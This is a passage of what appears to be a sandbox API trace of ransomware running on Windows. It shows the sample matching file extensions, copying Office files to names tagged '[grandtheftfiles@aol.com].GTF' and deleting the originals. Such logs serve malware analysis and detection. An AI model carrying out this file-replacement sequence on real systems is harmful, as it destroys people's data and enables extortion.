	[0166.261] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.261] lstrlenW (lpString=".rar") returned 4
	[0166.261] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.261] lstrlenW (lpString=".bz2") returned 4
	[0166.261] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.261] lstrlenW (lpString=".7z") returned 3
	[0166.261] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0166.261] lstrlenW (lpString=".dbf") returned 4
	[0166.261] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0166.261] lstrlenW (lpString=".1cd") returned 4
	[0166.261] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0166.261] lstrlenW (lpString=".jpg") returned 4
	[0166.261] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0166.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0166.261] lstrlenW (lpString=".doc") returned 4
	[0166.261] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.261] lstrlenW (lpString=".docx") returned 5
	[0166.261] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.261] lstrlenW (lpString=".pdf") returned 4
	[0166.261] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.262] lstrlenW (lpString=".xls") returned 4
	[0166.262] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.262] lstrlenW (lpString=".xlsx") returned 5
	[0166.262] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.262] lstrlenW (lpString=".ppt") returned 4
	[0166.262] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0166.262] lstrlenW (lpString=".zip") returned 4
	[0166.262] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.262] lstrlenW (lpString=".rar") returned 4
	[0166.262] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.262] lstrlenW (lpString=".bz2") returned 4
	[0166.262] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.262] lstrlenW (lpString=".7z") returned 3
	[0166.262] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0166.262] lstrlenW (lpString=".dbf") returned 4
	[0166.262] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0166.262] lstrlenW (lpString=".1cd") returned 4
	[0166.262] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87
	[0166.262] lstrlenW (lpString=".jpg") returned 4
	[0166.262] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.262] lstrcmpiW (lpString1=".eftx", lpString2=".GTF") returned -1
	[0166.262] lstrlenW (lpString="Top Shadow.eftx") returned 15
	[0166.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0166.263] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=56944) returned 1
	[0166.263] CloseHandle (hObject=0x558) returned 1
	[0166.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 0x220
	[0166.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0166.264] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.264] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0166.265] GetLastError () returned 0x0
	[0166.265] ReadFile (in: hFile=0x558, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0xde70, lpOverlapped=0x0) returned 1
	[0166.268] WriteFile (in: hFile=0x43c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xde80, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xde80, lpOverlapped=0x0) returned 1
	[0166.270] ReadFile (in: hFile=0x558, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.270] WriteFile (in: hFile=0x43c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0166.270] SetEndOfFile (hFile=0x43c) returned 1
	[0166.270] CloseHandle (hObject=0x43c) returned 1
	[0166.270] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.270] SetEndOfFile (hFile=0x558) returned 1
	[0166.273] CloseHandle (hObject=0x558) returned 1
	[0166.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx")) returned 1
	[0166.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0166.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0166.274] lstrlenW (lpString=".doc") returned 4
	[0166.274] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.274] lstrlenW (lpString=".docx") returned 5
	[0166.274] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.274] lstrlenW (lpString=".pdf") returned 4
	[0166.274] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.274] lstrlenW (lpString=".xls") returned 4
	[0166.274] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.274] lstrlenW (lpString=".xlsx") returned 5
	[0166.274] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.274] lstrlenW (lpString=".ppt") returned 4
	[0166.274] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0166.274] lstrlenW (lpString=".zip") returned 4
	[0166.274] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.274] lstrlenW (lpString=".rar") returned 4
	[0166.274] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.274] lstrlenW (lpString=".bz2") returned 4
	[0166.274] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.274] lstrlenW (lpString=".7z") returned 3
	[0166.274] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0166.275] lstrlenW (lpString=".dbf") returned 4
	[0166.275] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0166.275] lstrlenW (lpString=".1cd") returned 4
	[0166.275] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0166.275] lstrlenW (lpString=".jpg") returned 4
	[0166.275] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0166.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0166.275] lstrlenW (lpString=".doc") returned 4
	[0166.275] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0166.275] lstrlenW (lpString=".docx") returned 5
	[0166.275] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0166.275] lstrlenW (lpString=".pdf") returned 4
	[0166.275] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0166.275] lstrlenW (lpString=".xls") returned 4
	[0166.275] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0166.275] lstrlenW (lpString=".xlsx") returned 5
	[0166.275] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0166.275] lstrlenW (lpString=".ppt") returned 4
	[0166.275] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0166.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0166.275] lstrlenW (lpString=".zip") returned 4
	[0166.275] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0166.275] lstrlenW (lpString=".rar") returned 4
	[0166.275] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0166.275] lstrlenW (lpString=".bz2") returned 4
	[0166.275] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0166.275] lstrlenW (lpString=".7z") returned 3
	[0166.275] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0166.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0166.275] lstrlenW (lpString=".dbf") returned 4
	[0166.275] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0166.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0166.275] lstrlenW (lpString=".1cd") returned 4
	[0166.276] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0166.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx") returned 87
	[0166.276] lstrlenW (lpString=".jpg") returned 4
	[0166.276] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0166.276] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.276] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31
	[0166.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0166.279] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=18624) returned 1
	[0166.279] CloseHandle (hObject=0x558) returned 1
	[0166.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220
	[0166.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0166.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0166.279] lstrlenW (lpString=".doc") returned 4
	[0166.279] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.279] lstrlenW (lpString=".docx") returned 5
	[0166.279] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.279] lstrlenW (lpString=".pdf") returned 4
	[0166.279] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.279] lstrlenW (lpString=".xls") returned 4
	[0166.279] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.279] lstrlenW (lpString=".xlsx") returned 5
	[0166.279] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.279] lstrlenW (lpString=".ppt") returned 4
	[0166.280] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0166.280] lstrlenW (lpString=".zip") returned 4
	[0166.280] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.280] lstrlenW (lpString=".rar") returned 4
	[0166.280] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.280] lstrlenW (lpString=".bz2") returned 4
	[0166.280] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.280] lstrlenW (lpString=".7z") returned 3
	[0166.280] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0166.280] lstrlenW (lpString=".dbf") returned 4
	[0166.280] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0166.280] lstrlenW (lpString=".1cd") returned 4
	[0166.280] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0166.280] lstrlenW (lpString=".jpg") returned 4
	[0166.280] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0166.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0166.280] lstrlenW (lpString=".doc") returned 4
	[0166.280] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.280] lstrlenW (lpString=".docx") returned 5
	[0166.280] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.280] lstrlenW (lpString=".pdf") returned 4
	[0166.280] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.280] lstrlenW (lpString=".xls") returned 4
	[0166.280] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.280] lstrlenW (lpString=".xlsx") returned 5
	[0166.280] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.280] lstrlenW (lpString=".ppt") returned 4
	[0166.280] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0166.280] lstrlenW (lpString=".zip") returned 4
	[0166.280] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.280] lstrlenW (lpString=".rar") returned 4
	[0166.281] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.281] lstrlenW (lpString=".bz2") returned 4
	[0166.281] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.281] lstrlenW (lpString=".7z") returned 3
	[0166.281] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0166.281] lstrlenW (lpString=".dbf") returned 4
	[0166.281] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0166.281] lstrlenW (lpString=".1cd") returned 4
	[0166.281] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l1-2-0.dll") returned 80
	[0166.281] lstrlenW (lpString=".jpg") returned 4
	[0166.281] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.281] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.281] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31
	[0166.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0166.282] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=18624) returned 1
	[0166.282] CloseHandle (hObject=0x558) returned 1
	[0166.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220
	[0166.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0166.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0166.282] lstrlenW (lpString=".doc") returned 4
	[0166.282] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.282] lstrlenW (lpString=".docx") returned 5
	[0166.282] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.282] lstrlenW (lpString=".pdf") returned 4
	[0166.282] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.282] lstrlenW (lpString=".xls") returned 4
	[0166.282] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.282] lstrlenW (lpString=".xlsx") returned 5
	[0166.282] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.282] lstrlenW (lpString=".ppt") returned 4
	[0166.282] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0166.282] lstrlenW (lpString=".zip") returned 4
	[0166.282] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.282] lstrlenW (lpString=".rar") returned 4
	[0166.282] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.283] lstrlenW (lpString=".bz2") returned 4
	[0166.283] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.283] lstrlenW (lpString=".7z") returned 3
	[0166.283] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0166.283] lstrlenW (lpString=".dbf") returned 4
	[0166.283] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0166.283] lstrlenW (lpString=".1cd") returned 4
	[0166.283] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0166.283] lstrlenW (lpString=".jpg") returned 4
	[0166.283] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0166.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0166.283] lstrlenW (lpString=".doc") returned 4
	[0166.283] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.283] lstrlenW (lpString=".docx") returned 5
	[0166.283] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0166.283] lstrlenW (lpString=".pdf") returned 4
	[0166.283] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.283] lstrlenW (lpString=".xls") returned 4
	[0166.283] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.283] lstrlenW (lpString=".xlsx") returned 5
	[0166.283] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0166.283] lstrlenW (lpString=".ppt") returned 4
	[0166.283] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0166.283] lstrlenW (lpString=".zip") returned 4
	[0166.283] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.283] lstrlenW (lpString=".rar") returned 4
	[0166.283] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.283] lstrlenW (lpString=".bz2") returned 4
	[0166.283] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.283] lstrlenW (lpString=".7z") returned 3
	[0166.283] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0166.284] lstrlenW (lpString=".dbf") returned 4
	[0166.284] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0166.284] lstrlenW (lpString=".1cd") returned 4
	[0166.284] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0166.284] lstrlenW (lpString=".jpg") returned 4
	[0166.284] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.284] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0166.284] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39
	[0166.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0166.285] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=21184) returned 1
	[0166.285] CloseHandle (hObject=0x558) returned 1
	[0166.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220
	[0166.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
